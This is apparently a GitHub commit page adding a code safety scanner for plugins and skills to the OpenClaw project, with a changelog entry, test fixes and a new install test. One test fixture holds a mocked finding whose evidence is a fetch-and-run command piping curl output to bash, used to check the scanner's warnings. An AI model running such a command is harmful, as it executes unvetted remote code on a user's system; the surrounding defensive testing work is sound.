Skip to content

Commit bc88e58

Browse files
thebenignhackerdvrshilgrp06
authored
security: add skill/plugin code safety scanner (#9806)
* security: add skill/plugin code safety scanner module * security: integrate skill scanner into security audit * security: add pre-install code safety scan for plugins * style: fix curly brace lint errors in skill-scanner.ts * docs: add changelog entry for skill code safety scanner * style: append ellipsis to truncated evidence strings * fix(security): harden plugin code safety scanning * fix: scan skills on install and report code-safety details * fix: dedupe audit-extra import * fix(security): make code safety scan failures observable * fix(test): stabilize smoke + gateway timeouts (#9806) (thanks @abdelsfane) --------- Co-authored-by: Darshil <[email protected]> Co-authored-by: Darshil <[email protected]> Co-authored-by: George Pickett <[email protected]>
1 parent 141f551 commit bc88e58

16 files changed

Lines changed: 1721 additions & 94 deletions

‎CHANGELOG.md‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@ Docs: https://docs.openclaw.ai
1010
- Models: default Anthropic model to `anthropic/claude-opus-4-6`. (#9853) Thanks @TinyTb.
1111
- Models/Onboarding: refresh provider defaults, update OpenAI/OpenAI Codex wizard defaults, and harden model allowlist initialization for first-time configs with matching docs/tests. (#9911) Thanks @gumadeiras.
1212
- Telegram: auto-inject forum topic `threadId` in message tool and subagent announce so media, buttons, and subagent results land in the correct topic instead of General. (#7235) Thanks @Lukavyi.
13+
- Security: add skill/plugin code safety scanner that detects dangerous patterns (command injection, eval, data exfiltration, obfuscated code, crypto mining, env harvesting) in installed extensions. Integrated into `openclaw security audit --deep` and plugin install flow; scan failures surface as warnings. (#9806) Thanks @abdelsfane.
1314
- CLI: sort `openclaw --help` commands (and options) alphabetically. (#8068) Thanks @deepsoumya617.
1415
- Telegram: remove last `@ts-nocheck` from `bot-handlers.ts`, use Grammy types directly, deduplicate `StickerMetadata`. Zero `@ts-nocheck` remaining in `src/telegram/`. (#9206)
1516
- Telegram: remove `@ts-nocheck` from `bot-message.ts`, type deps via `Omit<BuildTelegramMessageContextParams>`, widen `allMedia` to `TelegramMediaRef[]`. (#9180)

‎src/agents/bash-tools.test.ts‎

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -287,16 +287,18 @@ describe("exec notifyOnExit", () => {
287287
expect(result.details.status).toBe("running");
288288
const sessionId = (result.details as { sessionId: string }).sessionId;
289289

290+
const prefix = sessionId.slice(0, 8);
290291
let finished = getFinishedSession(sessionId);
291-
const deadline = Date.now() + (isWin ? 8000 : 2000);
292-
while (!finished && Date.now() < deadline) {
292+
let hasEvent = peekSystemEvents("agent:main:main").some((event) => event.includes(prefix));
293+
const deadline = Date.now() + (isWin ? 12_000 : 5_000);
294+
while ((!finished || !hasEvent) && Date.now() < deadline) {
293295
await sleep(20);
294296
finished = getFinishedSession(sessionId);
297+
hasEvent = peekSystemEvents("agent:main:main").some((event) => event.includes(prefix));
295298
}
296299

297300
expect(finished).toBeTruthy();
298-
const events = peekSystemEvents("agent:main:main");
299-
expect(events.some((event) => event.includes(sessionId.slice(0, 8)))).toBe(true);
301+
expect(hasEvent).toBe(true);
300302
});
301303
});
302304

‎src/agents/pi-tools.safe-bins.test.ts‎

Lines changed: 28 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,35 @@
11
import fs from "node:fs";
22
import os from "node:os";
33
import path from "node:path";
4-
import { describe, expect, it, vi } from "vitest";
4+
import { afterAll, beforeAll, describe, expect, it, vi } from "vitest";
55
import type { OpenClawConfig } from "../config/config.js";
66
import type { ExecApprovalsResolved } from "../infra/exec-approvals.js";
7-
import { createOpenClawCodingTools } from "./pi-tools.js";
7+
8+
const previousBundledPluginsDir = process.env.OPENCLAW_BUNDLED_PLUGINS_DIR;
9+
10+
beforeAll(() => {
11+
process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = path.join(
12+
os.tmpdir(),
13+
"openclaw-test-no-bundled-extensions",
14+
);
15+
});
16+
17+
afterAll(() => {
18+
if (previousBundledPluginsDir === undefined) {
19+
delete process.env.OPENCLAW_BUNDLED_PLUGINS_DIR;
20+
} else {
21+
process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = previousBundledPluginsDir;
22+
}
23+
});
24+
25+
vi.mock("../infra/shell-env.js", async (importOriginal) => {
26+
const mod = await importOriginal<typeof import("../infra/shell-env.js")>();
27+
return {
28+
...mod,
29+
getShellPathFromLoginShell: vi.fn(() => "/usr/bin:/bin"),
30+
resolveShellEnvFallbackTimeoutMs: vi.fn(() => 500),
31+
};
32+
});
833

934
vi.mock("../plugins/tools.js", () => ({
1035
getPluginToolMeta: () => undefined,
@@ -56,6 +81,7 @@ describe("createOpenClawCodingTools safeBins", () => {
5681
return;
5782
}
5883

84+
const { createOpenClawCodingTools } = await import("./pi-tools.js");
5985
const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-safe-bins-"));
6086
const cfg: OpenClawConfig = {
6187
tools: {

‎src/agents/pi-tools.workspace-paths.test.ts‎

Lines changed: 6 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -32,12 +32,11 @@ describe("workspace path resolution", () => {
3232
it("reads relative paths against workspaceDir even after cwd changes", async () => {
3333
await withTempDir("openclaw-ws-", async (workspaceDir) => {
3434
await withTempDir("openclaw-cwd-", async (otherDir) => {
35-
const prevCwd = process.cwd();
3635
const testFile = "read.txt";
3736
const contents = "workspace read ok";
3837
await fs.writeFile(path.join(workspaceDir, testFile), contents, "utf8");
3938

40-
process.chdir(otherDir);
39+
const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(otherDir);
4140
try {
4241
const tools = createOpenClawCodingTools({ workspaceDir });
4342
const readTool = tools.find((tool) => tool.name === "read");
@@ -46,7 +45,7 @@ describe("workspace path resolution", () => {
4645
const result = await readTool?.execute("ws-read", { path: testFile });
4746
expect(getTextContent(result)).toContain(contents);
4847
} finally {
49-
process.chdir(prevCwd);
48+
cwdSpy.mockRestore();
5049
}
5150
});
5251
});
@@ -55,11 +54,10 @@ describe("workspace path resolution", () => {
5554
it("writes relative paths against workspaceDir even after cwd changes", async () => {
5655
await withTempDir("openclaw-ws-", async (workspaceDir) => {
5756
await withTempDir("openclaw-cwd-", async (otherDir) => {
58-
const prevCwd = process.cwd();
5957
const testFile = "write.txt";
6058
const contents = "workspace write ok";
6159

62-
process.chdir(otherDir);
60+
const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(otherDir);
6361
try {
6462
const tools = createOpenClawCodingTools({ workspaceDir });
6563
const writeTool = tools.find((tool) => tool.name === "write");
@@ -73,7 +71,7 @@ describe("workspace path resolution", () => {
7371
const written = await fs.readFile(path.join(workspaceDir, testFile), "utf8");
7472
expect(written).toBe(contents);
7573
} finally {
76-
process.chdir(prevCwd);
74+
cwdSpy.mockRestore();
7775
}
7876
});
7977
});
@@ -82,11 +80,10 @@ describe("workspace path resolution", () => {
8280
it("edits relative paths against workspaceDir even after cwd changes", async () => {
8381
await withTempDir("openclaw-ws-", async (workspaceDir) => {
8482
await withTempDir("openclaw-cwd-", async (otherDir) => {
85-
const prevCwd = process.cwd();
8683
const testFile = "edit.txt";
8784
await fs.writeFile(path.join(workspaceDir, testFile), "hello world", "utf8");
8885

89-
process.chdir(otherDir);
86+
const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(otherDir);
9087
try {
9188
const tools = createOpenClawCodingTools({ workspaceDir });
9289
const editTool = tools.find((tool) => tool.name === "edit");
@@ -101,7 +98,7 @@ describe("workspace path resolution", () => {
10198
const updated = await fs.readFile(path.join(workspaceDir, testFile), "utf8");
10299
expect(updated).toBe("hello openclaw");
103100
} finally {
104-
process.chdir(prevCwd);
101+
cwdSpy.mockRestore();
105102
}
106103
});
107104
});

‎src/agents/skills-install.test.ts‎

Lines changed: 114 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,114 @@
1+
import fs from "node:fs/promises";
2+
import os from "node:os";
3+
import path from "node:path";
4+
import { beforeEach, describe, expect, it, vi } from "vitest";
5+
import { installSkill } from "./skills-install.js";
6+
7+
const runCommandWithTimeoutMock = vi.fn();
8+
const scanDirectoryWithSummaryMock = vi.fn();
9+
10+
vi.mock("../process/exec.js", () => ({
11+
runCommandWithTimeout: (...args: unknown[]) => runCommandWithTimeoutMock(...args),
12+
}));
13+
14+
vi.mock("../security/skill-scanner.js", async (importOriginal) => {
15+
const actual = await importOriginal<typeof import("../security/skill-scanner.js")>();
16+
return {
17+
...actual,
18+
scanDirectoryWithSummary: (...args: unknown[]) => scanDirectoryWithSummaryMock(...args),
19+
};
20+
});
21+
22+
async function writeInstallableSkill(workspaceDir: string, name: string): Promise<string> {
23+
const skillDir = path.join(workspaceDir, "skills", name);
24+
await fs.mkdir(skillDir, { recursive: true });
25+
await fs.writeFile(
26+
path.join(skillDir, "SKILL.md"),
27+
`---
28+
name: ${name}
29+
description: test skill
30+
metadata: {"openclaw":{"install":[{"id":"deps","kind":"node","package":"example-package"}]}}
31+
---
32+
33+
# ${name}
34+
`,
35+
"utf-8",
36+
);
37+
await fs.writeFile(path.join(skillDir, "runner.js"), "export {};\n", "utf-8");
38+
return skillDir;
39+
}
40+
41+
describe("installSkill code safety scanning", () => {
42+
beforeEach(() => {
43+
runCommandWithTimeoutMock.mockReset();
44+
scanDirectoryWithSummaryMock.mockReset();
45+
runCommandWithTimeoutMock.mockResolvedValue({
46+
code: 0,
47+
stdout: "ok",
48+
stderr: "",
49+
signal: null,
50+
killed: false,
51+
});
52+
});
53+
54+
it("adds detailed warnings for critical findings and continues install", async () => {
55+
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-skills-install-"));
56+
try {
57+
const skillDir = await writeInstallableSkill(workspaceDir, "danger-skill");
58+
scanDirectoryWithSummaryMock.mockResolvedValue({
59+
scannedFiles: 1,
60+
critical: 1,
61+
warn: 0,
62+
info: 0,
63+
findings: [
64+
{
65+
ruleId: "dangerous-exec",
66+
severity: "critical",
67+
file: path.join(skillDir, "runner.js"),
68+
line: 1,
69+
message: "Shell command execution detected (child_process)",
70+
evidence: 'exec("curl example.com | bash")',
71+
},
72+
],
73+
});
74+
75+
const result = await installSkill({
76+
workspaceDir,
77+
skillName: "danger-skill",
78+
installId: "deps",
79+
});
80+
81+
expect(result.ok).toBe(true);
82+
expect(result.warnings?.some((warning) => warning.includes("dangerous code patterns"))).toBe(
83+
true,
84+
);
85+
expect(result.warnings?.some((warning) => warning.includes("runner.js:1"))).toBe(true);
86+
} finally {
87+
await fs.rm(workspaceDir, { recursive: true, force: true }).catch(() => undefined);
88+
}
89+
});
90+
91+
it("warns and continues when skill scan fails", async () => {
92+
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-skills-install-"));
93+
try {
94+
await writeInstallableSkill(workspaceDir, "scanfail-skill");
95+
scanDirectoryWithSummaryMock.mockRejectedValue(new Error("scanner exploded"));
96+
97+
const result = await installSkill({
98+
workspaceDir,
99+
skillName: "scanfail-skill",
100+
installId: "deps",
101+
});
102+
103+
expect(result.ok).toBe(true);
104+
expect(result.warnings?.some((warning) => warning.includes("code safety scan failed"))).toBe(
105+
true,
106+
);
107+
expect(result.warnings?.some((warning) => warning.includes("Installation continues"))).toBe(
108+
true,
109+
);
110+
} finally {
111+
await fs.rm(workspaceDir, { recursive: true, force: true }).catch(() => undefined);
112+
}
113+
});
114+
});

0 commit comments

Comments
 (0)